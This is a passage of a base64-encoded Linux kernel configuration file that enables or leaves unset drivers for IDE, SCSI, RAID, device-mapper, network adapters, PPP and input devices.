X0RFVl9TWDggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1VCIGlzIG5vdCBzZXQKIyBDT05G
SUdfQkxLX0RFVl9SQU0gaXMgbm90IHNldAojIENPTkZJR19DRFJPTV9QS1RDRFZEIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQVRBX09WRVJfRVRIIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9IRCBp
cyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfUkJEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09S
U19MSVMzTFYwMkQgaXMgbm90IHNldAojIENPTkZJR19NSVNDX0RFVklDRVMgaXMgbm90IHNldApD
T05GSUdfSEFWRV9JREU9eQpDT05GSUdfSURFPXkKCiMKIyBQbGVhc2Ugc2VlIERvY3VtZW50YXRp
b24vaWRlL2lkZS50eHQgZm9yIGhlbHAvaW5mbyBvbiBJREUgZHJpdmVzCiMKQ09ORklHX0lERV9Y
RkVSX01PREU9eQpDT05GSUdfSURFX0FUQVBJPXkKIyBDT05GSUdfQkxLX0RFVl9JREVfU0FUQSBp
cyBub3Qgc2V0CkNPTkZJR19JREVfR0Q9eQpDT05GSUdfSURFX0dEX0FUQT15CiMgQ09ORklHX0lE
RV9HRF9BVEFQSSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0lERUNEPXkKQ09ORklHX0JMS19E
RVZfSURFQ0RfVkVSQk9TRV9FUlJPUlM9eQojIENPTkZJR19CTEtfREVWX0lERVRBUEUgaXMgbm90
IHNldAojIENPTkZJR19JREVfVEFTS19JT0NUTCBpcyBub3Qgc2V0CkNPTkZJR19JREVfUFJPQ19G
Uz15CgojCiMgSURFIGNoaXBzZXQgc3VwcG9ydC9idWdmaXhlcwojCiMgQ09ORklHX0JMS19ERVZf
UExBVEZPUk0gaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9JREVETUFfU0ZGPXkKCiMKIyBQQ0kg
SURFIGNoaXBzZXRzIHN1cHBvcnQKIwpDT05GSUdfQkxLX0RFVl9JREVQQ0k9eQpDT05GSUdfSURF
UENJX1BDSUJVU19PUkRFUj15CiMgQ09ORklHX0JMS19ERVZfR0VORVJJQyBpcyBub3Qgc2V0CiMg
Q09ORklHX0JMS19ERVZfT1BUSTYyMSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0lERURNQV9Q
Q0k9eQojIENPTkZJR19CTEtfREVWX0FFQzYyWFggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVW
X0FMSTE1WDMgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0FNRDc0WFggaXMgbm90IHNldAoj
IENPTkZJR19CTEtfREVWX0NNRDY0WCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfVFJJRkxF
WCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfQ1M1NTIwIGlzIG5vdCBzZXQKIyBDT05GSUdf
QkxLX0RFVl9DUzU1MzAgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0hQVDM2NiBpcyBub3Qg
c2V0CiMgQ09ORklHX0JMS19ERVZfSk1JQ1JPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZf
U0MxMjAwIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9QSUlYIGlzIG5vdCBzZXQKIyBDT05G
SUdfQkxLX0RFVl9JVDgxNzIgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0lUODIxMyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSVQ4MjFYIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZf
TlM4NzQxNT15CiMgQ09ORklHX0JMS19ERVZfUERDMjAyWFhfT0xEIGlzIG5vdCBzZXQKIyBDT05G
SUdfQkxLX0RFVl9QREMyMDJYWF9ORVcgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1NWV0tT
IGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfU0lJTUFHRT1tCiMgQ09ORklHX0JMS19ERVZfU0xD
OTBFNjYgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1RSTTI5MCBpcyBub3Qgc2V0CiMgQ09O
RklHX0JMS19ERVZfVklBODJDWFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9UQzg2QzAw
MSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0lERURNQT15CgojCiMgU0NTSSBkZXZpY2Ugc3Vw
cG9ydAojCkNPTkZJR19TQ1NJX01PRD15CiMgQ09ORklHX1JBSURfQVRUUlMgaXMgbm90IHNldApD
T05GSUdfU0NTST15CkNPTkZJR19TQ1NJX0RNQT15CiMgQ09ORklHX1NDU0lfVEdUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0NTSV9ORVRMSU5LIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfUFJPQ19GUz15
CgojCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRhcGUsIENELVJPTSkKIwpDT05GSUdfQkxL
X0RFVl9TRD15CkNPTkZJR19DSFJfREVWX1NUPXkKIyBDT05GSUdfQ0hSX0RFVl9PU1NUIGlzIG5v
dCBzZXQKQ09ORklHX0JMS19ERVZfU1I9eQojIENPTkZJR19CTEtfREVWX1NSX1ZFTkRPUiBpcyBu
b3Qgc2V0CkNPTkZJR19DSFJfREVWX1NHPXkKIyBDT05GSUdfQ0hSX0RFVl9TQ0ggaXMgbm90IHNl
dApDT05GSUdfU0NTSV9NVUxUSV9MVU49eQojIENPTkZJR19TQ1NJX0NPTlNUQU5UUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NDU0lfTE9HR0lORyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfU0NBTl9B
U1lOQyBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX1dBSVRfU0NBTj1tCgojCiMgU0NTSSBUcmFuc3Bv
cnRzCiMKQ09ORklHX1NDU0lfU1BJX0FUVFJTPXkKIyBDT05GSUdfU0NTSV9GQ19BVFRSUyBpcyBu
b3Qgc2V0CkNPTkZJR19TQ1NJX0lTQ1NJX0FUVFJTPW0KIyBDT05GSUdfU0NTSV9TQVNfQVRUUlMg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NBU19MSUJTQVMgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX1NSUF9BVFRSUyBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX0xPV0xFVkVMPXkKIyBDT05GSUdf
SVNDU0lfVENQIGlzIG5vdCBzZXQKIyBDT05GSUdfSVNDU0lfQk9PVF9TWVNGUyBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfQ1hHQjNfSVNDU0kgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0NYR0I0
X0lTQ1NJIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9CTlgyX0lTQ1NJIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0NTSV9CTlgyWF9GQ09FIGlzIG5vdCBzZXQKIyBDT05GSUdfQkUySVNDU0kgaXMgbm90
IHNldAojIENPTkZJR19CTEtfREVWXzNXX1hYWFhfUkFJRCBpcyBub3Qgc2V0CiMgQ09ORklHX1ND
U0lfSFBTQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfM1dfOVhYWCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfM1dfU0FTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BQ0FSRCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfQUFDUkFJRCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDN1hYWCBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDN1hYWF9PTEQgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX0FJQzc5WFggaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0FJQzk0WFggaXMgbm90IHNldAoj
IENPTkZJR19TQ1NJX01WU0FTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9NVlVNSSBpcyBub3Qg
c2V0CiMgQ09ORklHX1NDU0lfRFBUX0kyTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQURWQU5T
WVMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0FSQ01TUiBpcyBub3Qgc2V0CiMgQ09ORklHX01F
R0FSQUlEX05FV0dFTiBpcyBub3Qgc2V0CiMgQ09ORklHX01FR0FSQUlEX0xFR0FDWSBpcyBub3Qg
c2V0CiMgQ09ORklHX01FR0FSQUlEX1NBUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTVBUMlNB
UyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSFBUSU9QIGlzIG5vdCBzZXQKIyBDT05GSUdfTElC
RkMgaXMgbm90IHNldAojIENPTkZJR19MSUJGQ09FIGlzIG5vdCBzZXQKIyBDT05GSUdfRkNPRSBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfRE1YMzE5MUQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJ
X0ZVVFVSRV9ET01BSU4gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0lQUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfSU5JVElPIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9JTklBMTAwIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9TVEVYIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfU1lNNTNDOFhY
XzI9eQpDT05GSUdfU0NTSV9TWU01M0M4WFhfRE1BX0FERFJFU1NJTkdfTU9ERT0wCkNPTkZJR19T
Q1NJX1NZTTUzQzhYWF9ERUZBVUxUX1RBR1M9MTYKQ09ORklHX1NDU0lfU1lNNTNDOFhYX01BWF9U
QUdTPTY0CkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9NTUlPPXkKIyBDT05GSUdfU0NTSV9RTE9HSUNf
MTI4MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUUxBX0ZDIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0NTSV9RTEFfSVNDU0kgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0xQRkMgaXMgbm90IHNldAoj
IENPTkZJR19TQ1NJX0RDMzk1eCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfREMzOTBUIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9OU1AzMiBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX0RFQlVHPW0K
IyBDT05GSUdfU0NTSV9QTUNSQUlEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9QTTgwMDEgaXMg
bm90IHNldAojIENPTkZJR19TQ1NJX1NSUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQkZBX0ZD
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9ESCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfT1NE
X0lOSVRJQVRPUiBpcyBub3Qgc2V0CiMgQ09ORklHX0FUQSBpcyBub3Qgc2V0CkNPTkZJR19NRD15
CkNPTkZJR19CTEtfREVWX01EPXkKQ09ORklHX01EX0FVVE9ERVRFQ1Q9eQpDT05GSUdfTURfTElO
RUFSPXkKQ09ORklHX01EX1JBSUQwPXkKQ09ORklHX01EX1JBSUQxPXkKIyBDT05GSUdfTURfUkFJ
RDEwIGlzIG5vdCBzZXQKIyBDT05GSUdfTURfUkFJRDQ1NiBpcyBub3Qgc2V0CiMgQ09ORklHX01E
X01VTFRJUEFUSCBpcyBub3Qgc2V0CiMgQ09ORklHX01EX0ZBVUxUWSBpcyBub3Qgc2V0CkNPTkZJ
R19CTEtfREVWX0RNPW0KIyBDT05GSUdfRE1fREVCVUcgaXMgbm90IHNldApDT05GSUdfRE1fQ1JZ
UFQ9bQpDT05GSUdfRE1fU05BUFNIT1Q9bQojIENPTkZJR19ETV9USElOX1BST1ZJU0lPTklORyBp
cyBub3Qgc2V0CkNPTkZJR19ETV9NSVJST1I9bQojIENPTkZJR19ETV9SQUlEIGlzIG5vdCBzZXQK
IyBDT05GSUdfRE1fTE9HX1VTRVJTUEFDRSBpcyBub3Qgc2V0CkNPTkZJR19ETV9aRVJPPW0KQ09O
RklHX0RNX01VTFRJUEFUSD1tCiMgQ09ORklHX0RNX01VTFRJUEFUSF9RTCBpcyBub3Qgc2V0CiMg
Q09ORklHX0RNX01VTFRJUEFUSF9TVCBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX0RFTEFZIGlzIG5v
dCBzZXQKIyBDT05GSUdfRE1fVUVWRU5UIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fRkxBS0VZIGlz
IG5vdCBzZXQKIyBDT05GSUdfVEFSR0VUX0NPUkUgaXMgbm90IHNldApDT05GSUdfRlVTSU9OPXkK
Q09ORklHX0ZVU0lPTl9TUEk9bQojIENPTkZJR19GVVNJT05fRkMgaXMgbm90IHNldAojIENPTkZJ
R19GVVNJT05fU0FTIGlzIG5vdCBzZXQKQ09ORklHX0ZVU0lPTl9NQVhfU0dFPTEyOApDT05GSUdf
RlVTSU9OX0NUTD1tCiMgQ09ORklHX0ZVU0lPTl9MT0dHSU5HIGlzIG5vdCBzZXQKCiMKIyBJRUVF
IDEzOTQgKEZpcmVXaXJlKSBzdXBwb3J0CiMKIyBDT05GSUdfRklSRVdJUkUgaXMgbm90IHNldAoj
IENPTkZJR19GSVJFV0lSRV9OT1NZIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJPIGlzIG5vdCBzZXQK
Q09ORklHX05FVERFVklDRVM9eQpDT05GSUdfTkVUX0NPUkU9eQpDT05GSUdfQk9ORElORz1tCkNP
TkZJR19EVU1NWT1tCiMgQ09ORklHX0VRVUFMSVpFUiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9G
QyBpcyBub3Qgc2V0CkNPTkZJR19NSUk9bQojIENPTkZJR19ORVRfVEVBTSBpcyBub3Qgc2V0CiMg
Q09ORklHX01BQ1ZMQU4gaXMgbm90IHNldAojIENPTkZJR19ORVRDT05TT0xFIGlzIG5vdCBzZXQK
IyBDT05GSUdfTkVUUE9MTCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9QT0xMX0NPTlRST0xMRVIg
aXMgbm90IHNldApDT05GSUdfVFVOPW0KIyBDT05GSUdfVkVUSCBpcyBub3Qgc2V0CiMgQ09ORklH
X0FSQ05FVCBpcyBub3Qgc2V0CgojCiMgQ0FJRiB0cmFuc3BvcnQgZHJpdmVycwojCkNPTkZJR19F
VEhFUk5FVD15CkNPTkZJR19ORVRfVkVORE9SXzNDT009eQojIENPTkZJR19WT1JURVggaXMgbm90
IHNldAojIENPTkZJR19UWVBIT09OIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5ET1JfQURBUFRF
Qz15CiMgQ09ORklHX0FEQVBURUNfU1RBUkZJUkUgaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRP
Ul9BTFRFT049eQpDT05GSUdfQUNFTklDPW0KIyBDT05GSUdfQUNFTklDX09NSVRfVElHT05fSSBp
cyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX0FNRD15CiMgQ09ORklHX0FNRDgxMTFfRVRIIGlz
IG5vdCBzZXQKIyBDT05GSUdfUENORVQzMiBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX0FU
SEVST1M9eQojIENPTkZJR19BVEwyIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRMMSBpcyBub3Qgc2V0
CiMgQ09ORklHX0FUTDFFIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRMMUMgaXMgbm90IHNldApDT05G
SUdfTkVUX1ZFTkRPUl9CUk9BRENPTT15CiMgQ09ORklHX0I0NCBpcyBub3Qgc2V0CiMgQ09ORklH
X0JOWDIgaXMgbm90IHNldAojIENPTkZJR19DTklDIGlzIG5vdCBzZXQKQ09ORklHX1RJR09OMz1t
CiMgQ09ORklHX0JOWDJYIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5ET1JfQlJPQ0FERT15CiMg
Q09ORklHX0JOQSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9DQUxYRURBX1hHTUFDIGlzIG5vdCBz
ZXQKQ09ORklHX05FVF9WRU5ET1JfQ0hFTFNJTz15CiMgQ09ORklHX0NIRUxTSU9fVDEgaXMgbm90
IHNldAojIENPTkZJR19DSEVMU0lPX1QzIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0hFTFNJT19UNCBp
cyBub3Qgc2V0CiMgQ09ORklHX0NIRUxTSU9fVDRWRiBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVO
RE9SX0NJU0NPPXkKIyBDT05GSUdfRU5JQyBpcyBub3Qgc2V0CiMgQ09ORklHX0RORVQgaXMgbm90
IHNldApDT05GSUdfTkVUX1ZFTkRPUl9ERUM9eQpDT05GSUdfTkVUX1RVTElQPXkKQ09ORklHX0RF
MjEwNFg9bQpDT05GSUdfREUyMTA0WF9EU0w9MApDT05GSUdfVFVMSVA9eQojIENPTkZJR19UVUxJ
UF9NV0kgaXMgbm90IHNldApDT05GSUdfVFVMSVBfTU1JTz15CiMgQ09ORklHX1RVTElQX05BUEkg
aXMgbm90IHNldAojIENPTkZJR19ERTRYNSBpcyBub3Qgc2V0CiMgQ09ORklHX1dJTkJPTkRfODQw
IGlzIG5vdCBzZXQKIyBDT05GSUdfRE05MTAyIGlzIG5vdCBzZXQKIyBDT05GSUdfVUxJNTI2WCBp
cyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX0RMSU5LPXkKIyBDT05GSUdfREwySyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NVTkRBTkNFIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5ET1JfRU1VTEVY
PXkKIyBDT05GSUdfQkUyTkVUIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5ET1JfRVhBUj15CiMg
Q09ORklHX1MySU8gaXMgbm90IHNldAojIENPTkZJR19WWEdFIGlzIG5vdCBzZXQKQ09ORklHX05F
VF9WRU5ET1JfSFA9eQojIENPTkZJR19IUDEwMCBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9S
X0lOVEVMPXkKQ09ORklHX0UxMDA9bQpDT05GSUdfRTEwMDA9bQojIENPTkZJR19FMTAwMEUgaXMg
bm90IHNldAojIENPTkZJR19JR0IgaXMgbm90IHNldAojIENPTkZJR19JR0JWRiBpcyBub3Qgc2V0
CiMgQ09ORklHX0lYR0IgaXMgbm90IHNldAojIENPTkZJR19JWEdCRSBpcyBub3Qgc2V0CkNPTkZJ
R19ORVRfVkVORE9SX0k4MjVYWD15CiMgQ09ORklHX0lQMTAwMCBpcyBub3Qgc2V0CiMgQ09ORklH
X0pNRSBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX01BUlZFTEw9eQojIENPTkZJR19TS0dF
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0tZMiBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX01F
TExBTk9YPXkKIyBDT05GSUdfTUxYNF9FTiBpcyBub3Qgc2V0CiMgQ09ORklHX01MWDRfQ09SRSBp
cyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX01JQ1JFTD15CiMgQ09ORklHX0tTODg1MV9NTEwg
aXMgbm90IHNldAojIENPTkZJR19LU1o4ODRYX1BDSSBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVO
RE9SX01ZUkk9eQojIENPTkZJR19NWVJJMTBHRSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZFQUxOWCBp
cyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX05BVFNFTUk9eQojIENPTkZJR19OQVRTRU1JIGlz
IG5vdCBzZXQKIyBDT05GSUdfTlM4MzgyMCBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SXzgz
OTA9eQojIENPTkZJR19ORTJLX1BDSSBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX05WSURJ
QT15CiMgQ09ORklHX0ZPUkNFREVUSCBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX09LST15
CiMgQ09ORklHX1BDSF9HQkUgaXMgbm90IHNldAojIENPTkZJR19FVEhPQyBpcyBub3Qgc2V0CiMg
Q09ORklHX05FVF9QQUNLRVRfRU5HSU5FIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5ET1JfUUxP
R0lDPXkKIyBDT05GSUdfUUxBM1hYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1FMQ05JQyBpcyBub3Qg
c2V0CiMgQ09ORklHX1FMR0UgaXMgbm90IHNldAojIENPTkZJR19ORVRYRU5fTklDIGlzIG5vdCBz
ZXQKQ09ORklHX05FVF9WRU5ET1JfUkVBTFRFSz15CiMgQ09ORklHXzgxMzlDUCBpcyBub3Qgc2V0
CiMgQ09ORklHXzgxMzlUT08gaXMgbm90IHNldAojIENPTkZJR19SODE2OSBpcyBub3Qgc2V0CkNP
TkZJR19ORVRfVkVORE9SX1JEQz15CiMgQ09ORklHX1I2MDQwIGlzIG5vdCBzZXQKQ09ORklHX05F
VF9WRU5ET1JfU0VFUT15CiMgQ09ORklHX1NFRVE4MDA1IGlzIG5vdCBzZXQKQ09ORklHX05FVF9W
RU5ET1JfU0lMQU49eQojIENPTkZJR19TQzkyMDMxIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5E
T1JfU0lTPXkKIyBDT05GSUdfU0lTOTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0lTMTkwIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0ZDIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5ET1JfU01TQz15CiMg
Q09ORklHX0VQSUMxMDAgaXMgbm90IHNldAojIENPTkZJR19TTVNDOTQyMCBpcyBub3Qgc2V0CkNP
TkZJR19ORVRfVkVORE9SX1NUTUlDUk89eQojIENPTkZJR19TVE1NQUNfRVRIIGlzIG5vdCBzZXQK
Q09ORklHX05FVF9WRU5ET1JfU1VOPXkKIyBDT05GSUdfSEFQUFlNRUFMIGlzIG5vdCBzZXQKIyBD
T05GSUdfU1VOR0VNIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0FTU0lOSSBpcyBub3Qgc2V0CiMgQ09O
RklHX05JVSBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX1RFSFVUST15CiMgQ09ORklHX1RF
SFVUSSBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX1RJPXkKIyBDT05GSUdfVExBTiBpcyBu
b3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX1ZJQT15CiMgQ09ORklHX1ZJQV9SSElORSBpcyBub3Qg
c2V0CiMgQ09ORklHX1ZJQV9WRUxPQ0lUWSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZEREkgaXMgbm90
IHNldAojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0CkNPTkZJR19QSFlMSUI9bQoKIwojIE1JSSBQ
SFkgZGV2aWNlIGRyaXZlcnMKIwojIENPTkZJR19NQVJWRUxMX1BIWSBpcyBub3Qgc2V0CiMgQ09O
RklHX0RBVklDT01fUEhZIGlzIG5vdCBzZXQKIyBDT05GSUdfUVNFTUlfUEhZIGlzIG5vdCBzZXQK
IyBDT05GSUdfTFhUX1BIWSBpcyBub3Qgc2V0CiMgQ09ORklHX0NJQ0FEQV9QSFkgaXMgbm90IHNl
dAojIENPTkZJR19WSVRFU1NFX1BIWSBpcyBub3Qgc2V0CiMgQ09ORklHX1NNU0NfUEhZIGlzIG5v
dCBzZXQKIyBDT05GSUdfQlJPQURDT01fUEhZIGlzIG5vdCBzZXQKIyBDT05GSUdfSUNQTFVTX1BI
WSBpcyBub3Qgc2V0CiMgQ09ORklHX1JFQUxURUtfUEhZIGlzIG5vdCBzZXQKIyBDT05GSUdfTkFU
SU9OQUxfUEhZIGlzIG5vdCBzZXQKIyBDT05GSUdfU1RFMTBYUCBpcyBub3Qgc2V0CiMgQ09ORklH
X0xTSV9FVDEwMTFDX1BIWSBpcyBub3Qgc2V0CiMgQ09ORklHX01JQ1JFTF9QSFkgaXMgbm90IHNl
dAojIENPTkZJR19NRElPX0JJVEJBTkcgaXMgbm90IHNldApDT05GSUdfUFBQPW0KQ09ORklHX1BQ
UF9CU0RDT01QPW0KQ09ORklHX1BQUF9ERUZMQVRFPW0KIyBDT05GSUdfUFBQX0ZJTFRFUiBpcyBu
b3Qgc2V0CiMgQ09ORklHX1BQUF9NUFBFIGlzIG5vdCBzZXQKIyBDT05GSUdfUFBQX01VTFRJTElO
SyBpcyBub3Qgc2V0CkNPTkZJR19QUFBPRT1tCkNPTkZJR19QUFBfQVNZTkM9bQpDT05GSUdfUFBQ
X1NZTkNfVFRZPW0KIyBDT05GSUdfU0xJUCBpcyBub3Qgc2V0CkNPTkZJR19TTEhDPW0KIyBDT05G
SUdfVFIgaXMgbm90IHNldAoKIwojIFVTQiBOZXR3b3JrIEFkYXB0ZXJzCiMKIyBDT05GSUdfVVNC
X0NBVEMgaXMgbm90IHNldAojIENPTkZJR19VU0JfS0FXRVRIIGlzIG5vdCBzZXQKIyBDT05GSUdf
VVNCX1BFR0FTVVMgaXMgbm90IHNldAojIENPTkZJR19VU0JfUlRMODE1MCBpcyBub3Qgc2V0CiMg
Q09ORklHX1VTQl9VU0JORVQgaXMgbm90IHNldAojIENPTkZJR19VU0JfSVBIRVRIIGlzIG5vdCBz
ZXQKQ09ORklHX1dMQU49eQojIENPTkZJR19BVE1FTCBpcyBub3Qgc2V0CiMgQ09ORklHX1BSSVNN
NTQgaXMgbm90IHNldAojIENPTkZJR19VU0JfWkQxMjAxIGlzIG5vdCBzZXQKIyBDT05GSUdfSE9T
VEFQIGlzIG5vdCBzZXQKCiMKIyBFbmFibGUgV2lNQVggKE5ldHdvcmtpbmcgb3B0aW9ucykgdG8g
c2VlIHRoZSBXaU1BWCBkcml2ZXJzCiMKIyBDT05GSUdfV0FOIGlzIG5vdCBzZXQKIyBDT05GSUdf
Vk1YTkVUMyBpcyBub3Qgc2V0CiMgQ09ORklHX0lTRE4gaXMgbm90IHNldAojIENPTkZJR19QSE9O
RSBpcyBub3Qgc2V0CgojCiMgSW5wdXQgZGV2aWNlIHN1cHBvcnQKIwpDT05GSUdfSU5QVVQ9eQoj
IENPTkZJR19JTlBVVF9GRl9NRU1MRVNTIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfUE9MTERF
ViBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1NQQVJTRUtNQVAgaXMgbm90IHNldAoKIwojIFVz
ZXJsYW5kIGludGVyZmFjZXMKIwpDT05GSUdfSU5QVVRfTU9VU0VERVY9eQojIENPTkZJR19JTlBV
VF9NT1VTRURFVl9QU0FVWCBpcyBub3Qgc2V0CkNPTkZJR19JTlBVVF9NT1VTRURFVl9TQ1JFRU5f
WD0xNjAwCkNPTkZJR19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWT0xMjAwCiMgQ09ORklHX0lOUFVU
X0pPWURFViBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX0VWREVWIGlzIG5vdCBzZXQKIyBDT05G
SUdfSU5QVVRfRVZCVUcgaXMgbm90IHNldAoKIwojIElucHV0IERldmljZSBEcml2ZXJzCiMKQ09O
RklHX0lOUFVUX0tFWUJPQVJEPXkKIyBDT05GSUdfS0VZQk9BUkRfQVRLQkQgaXMgbm90IHNldAoj
IENPTkZJR19LRVlCT0FSRF9MS0tCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX05FV1RP
TiBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX09QRU5DT1JFUyBpcyBub3Qgc2V0CiMgQ09O
RklHX0tFWUJPQVJEX1NUT1dBV0FZIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfU1VOS0JE
IGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfWFRLQkQgaXMgbm90IHNldApDT05GSUdfSU5Q
VVRfTU9VU0U9eQojIENPTkZJR19NT1VTRV9QUzIgaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9T
RVJJQUwgaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9BUFBMRVRPVUNIIGlzIG5vdCBzZXQKIyBD
T05GSUdfTU9VU0VfQkNNNTk3NCBpcyBub3Qgc2V0CiMgQ09ORklHX01PVVNFX1ZTWFhYQUEgaXMg
bm90IHNldAojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVU
X1RBQkxFVCBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1RPVUNIU0NSRUVOIGlzIG5vdCBzZXQK
IyBDT05GSUdfSU5QVVRfTUlTQyBpcyBub3Qgc2V0CgojCiMgSGFyZHdhcmUgSS9PIHBvcnRzCiMK
Q09ORklHX1NFUklPPW0KQ09ORklHX1NFUklPX1NFUlBPUlQ9bQojIENPTkZJR19TRVJJT19QQ0lQ
UzIgaXMgbm90IHNldApDT05GSUdfU0VSSU9fTElCUFMyPW0KIyBDT05GSUdfU0VSSU9fUkFXIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0VSSU9fQUxURVJBX1BTMiBpcyBub3Qgc2V0CiMgQ09ORklHX1NF
